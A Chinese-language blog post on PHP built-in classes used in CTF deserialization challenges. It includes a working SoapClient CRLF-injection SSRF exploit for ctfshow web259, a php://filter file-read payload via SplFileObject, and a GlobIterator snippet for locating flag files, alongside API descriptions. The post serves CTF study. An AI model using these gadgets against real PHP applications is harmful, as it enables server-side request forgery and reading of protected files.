目录

  1. 1. 读取PHP中存在的原生类
  2. 2. SoapClient
    1. 2.1. CRLF注入
    2. 2.2. EXP
  3. 3. SplFileInfo
  4. 4. SplFileObject
  5. 5. SplTempFileObject
  6. 6. DirectoryIterator
  7. 7. FilesystemIterator
  8. 8. GlobIterator
  9. 9. Exception
  10. 10. Error

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

PHP原生类

2023/4/30 Web 反序列化 PHP
  |     |   总文章阅读量:

个人对php原生类的总结

参考文章

读取PHP中存在的原生类

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__destruct',
            '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            '__set_state'
        ))) {
            print $class . '::' . $method . "\n";
        }
    }
} 

SoapClient

php在安装php-soap拓展后,可以反序列化原生类SoapClient,来发送http post请求。

打开php.ini,找到extension=soap,把前面注释去掉,重启服务

通过调用SoapClient不存在的方法,触发SoapClient的__call魔术方法

通过CRLF来添加请求体:SoapClient可以指定请求的user-agent头,通过添加换行符的形式来加入其他请求内容

CRLF注入

CRLF是“回车+换行”(\r\n)的简称,其十六进制编码分别为0x0d和0x0a

Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP内容并显示出来。所以,一旦我们能够控制HTTP消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码。CRLF漏洞常出现在Location与Set-cookie消息头中。

EXP

ctfshow web259

<?php
$target = 'http://127.0.0.1/flag.php';		//SSRF
$post_string = 'token=ctfshow';		//要post的命令
$headers = array('X-Forwarded-For:127.0.0.1');
$b = new SoapClient(null, array('location' => $target, 'user_agent' => 'C1oudfL0w0^^Content-Type: application/x-www-form-urlencoded^^' .join('^^',$headers). '^^Content-Length: ' . (string)strlen($post_string) . '^^^^' . $post_string, 'uri' => "C1oudfL0w0"));
$a = serialize($b);
$a = str_replace('^^', "\r\n", $a);		//替换为CRLF
echo urlencode($a);

SplFileInfo

这个类提供了一种面向对象的方式来获取有关文件的信息,例如文件大小、文件类型、文件访问时间等等

SplFileObject

继承自 SplFileInfo 类,PHP编程文件处理类,为文件提供了一个面向对象接口

以下代码可以打开一个文本文件、逐行读取其内容并输出到屏幕上

$file = new SplFileObject('example.txt');
while (!$file->eof()) {
    $line = $file->fgets();
    echo $line;
}
$file = null;

使用例:

new SplFileObject(php://filter/convert.base64-encode/resource=flag.php)

方法:

  1. __construct():该方法用于创建一个 SplFileObject 对象,并打开指定的文件。该方法有多个参数,用于指定文件路径、打开模式等信息。
  2. fopen():该方法用于打开文件,可以指定打开模式、是否锁定文件等信息。
  3. fgets():该方法用于按行读取文件内容,每次读取一行,并返回该行内容。该方法可以接收一个可选的参数,用于指定读取的最大字节数。
  4. fgetcsv():该方法用于按 CSV 格式读取文件内容,每次读取一行,并返回该行内容的数组形式。该方法可以接收多个可选参数,用于指定 CSV 的分隔符、字段包围符号等信息。
  5. fread():该方法用于按字节读取文件内容,可以指定读取的字节数,并返回读取的内容。
  6. fwrite():该方法用于向文件中写入内容,可以指定要写入的内容和写入的长度,并返回写入的字节数。
  7. feof():该方法用于判断是否已到达文件末尾。
  8. rewind():该方法用于将文件指针重新指向文件开头。
  9. seek():该方法用于将文件指针定位到指定位置。
  10. current():该方法用于返回当前位置的行内容。
  11. key():该方法用于返回当前位置的行号。
  12. next():该方法用于将文件指针指向下一行。
  13. valid():该方法用于判断当前位置是否有效。
  14. getFlags():该方法用于获取打开文件时使用的标志。
  15. setFlags():该方法用于设置打开文件时使用的标志。

SplTempFileObject

这个类提供了一个临时文件对象,您可以使用它来读取和写入临时文件

DirectoryIterator

这个类提供了一种面向对象的方式来遍历目录并读取目录中的文件。您可以使用它来获取目录中的文件列表,以及文件的基本信息

并不能产生回显

然而,如果攻击者在目标服务器上创建了一个恶意的文件,该文件的内容包含攻击者控制的数据,例如一个 PHP 代码段,那么攻击者可以利用 DirectoryIterator 来读取该文件的内容(包括 PHP 代码),从而达到回显的目的

方法:

  1. __construct($path, $flags = 0):创建一个新的 DirectoryIterator 实例。 $path 参数指定要遍历的目录路径,$flags 参数允许你指定一些选项,比如是否遍历隐藏文件和只列出文件而不包括子目录等。
  2. current():返回当前迭代器指向的文件或目录的 DirectoryIterator 实例。
  3. getChildren():返回当前迭代器指向的目录的 DirectoryIterator 实例,用于遍历其子目录。
  4. getFilename():返回当前迭代器指向的文件或目录的文件名。
  5. isDir():返回当前迭代器指向的文件或目录是否为目录。
  6. isDot():返回当前迭代器指向的文件或目录是否为当前目录(.)或上级目录(..)。
  7. isFile():返回当前迭代器指向的文件或目录是否为文件。
  8. key():返回当前迭代器指向的文件或目录的键名,即文件名或目录名。
  9. next():将迭代器指向下一个文件或目录。
  10. rewind():将迭代器指向第一个文件或目录。
  11. valid():检查当前迭代器指向的文件或目录是否存在,如果存在返回 true,否则返回 false

FilesystemIterator

这个类继承了 DirectoryIterator 类,并提供了一些额外的功能,例如可以按照不同的排序方式对文件进行排序。

可以显示当前目录下的文件结构,默认只显示第一个文件,需要遍历

getcwd()函数可用于返回当前路径

然后直接访问即可


GlobIterator

遍历一个文件系统行为类似于glob(),可以通过模式匹配来寻找文件路径(PHP 5 >= 5.3.0, PHP 7, PHP 8)

只需要知道部分名称就可以进行遍历

eg:

<?php
$dir=new GlobIterator("/*flag*");
echo $dir;

Exception

菜鸟教程

所有异常类的基类

  1. Exception::__construct():创建一个新的异常对象,可以指定异常消息、异常代码和上一个异常对象。

  2. Exception::__toString():将异常转换为字符串,返回一个包含异常消息、文件名和行号的字符串。

    测试:

    <?php
    $class=new Exception("test string");
    echo $class->__toString();

    输出:Exception: test string in 路径:2 Stack trace: #0 {main}

    我们可以直接使用print或echo显示异常对象信息

  3. Exception::getMessage():获取异常消息。

  4. Exception::getCode():获取异常代码。

  5. Exception::getFile():获取抛出异常的文件名。

  6. Exception::getLine():获取抛出异常的行号。

  7. Exception::getTrace():获取异常的堆栈跟踪信息数组。

  8. Exception::getPrevious():获取上一个异常对象。

eg:

<?php
throw new Exception("Value must be 1 or below");

Fatal error: Uncaught exception 'Exception' with message 'Value must be 1 or below' in /www/runoob/test/test.php:7 Stack trace: #0 /www/runoob/test/test.php(13): checkNum(2) #1 {main} thrown in /www/runoob/test/test.php on line 7

因此可以在()中执行函数


Error

所有错误类的基类。与异常不同,错误是在编译时或运行时发生的问题,通常不能恢复并且会导致程序终止

  1. Error::__construct():创建一个新的错误对象,可以指定错误消息、错误代码和上一个错误对象。
  2. Error::getMessage():获取错误消息。
  3. Error::getCode():获取错误代码。
  4. Error::getFile():获取抛出错误的文件名。
  5. Error::getLine():获取抛出错误的行号。
  6. Error::getTrace():获取错误的堆栈跟踪信息数组。
  7. Error::getPrevious():获取上一个错误对象。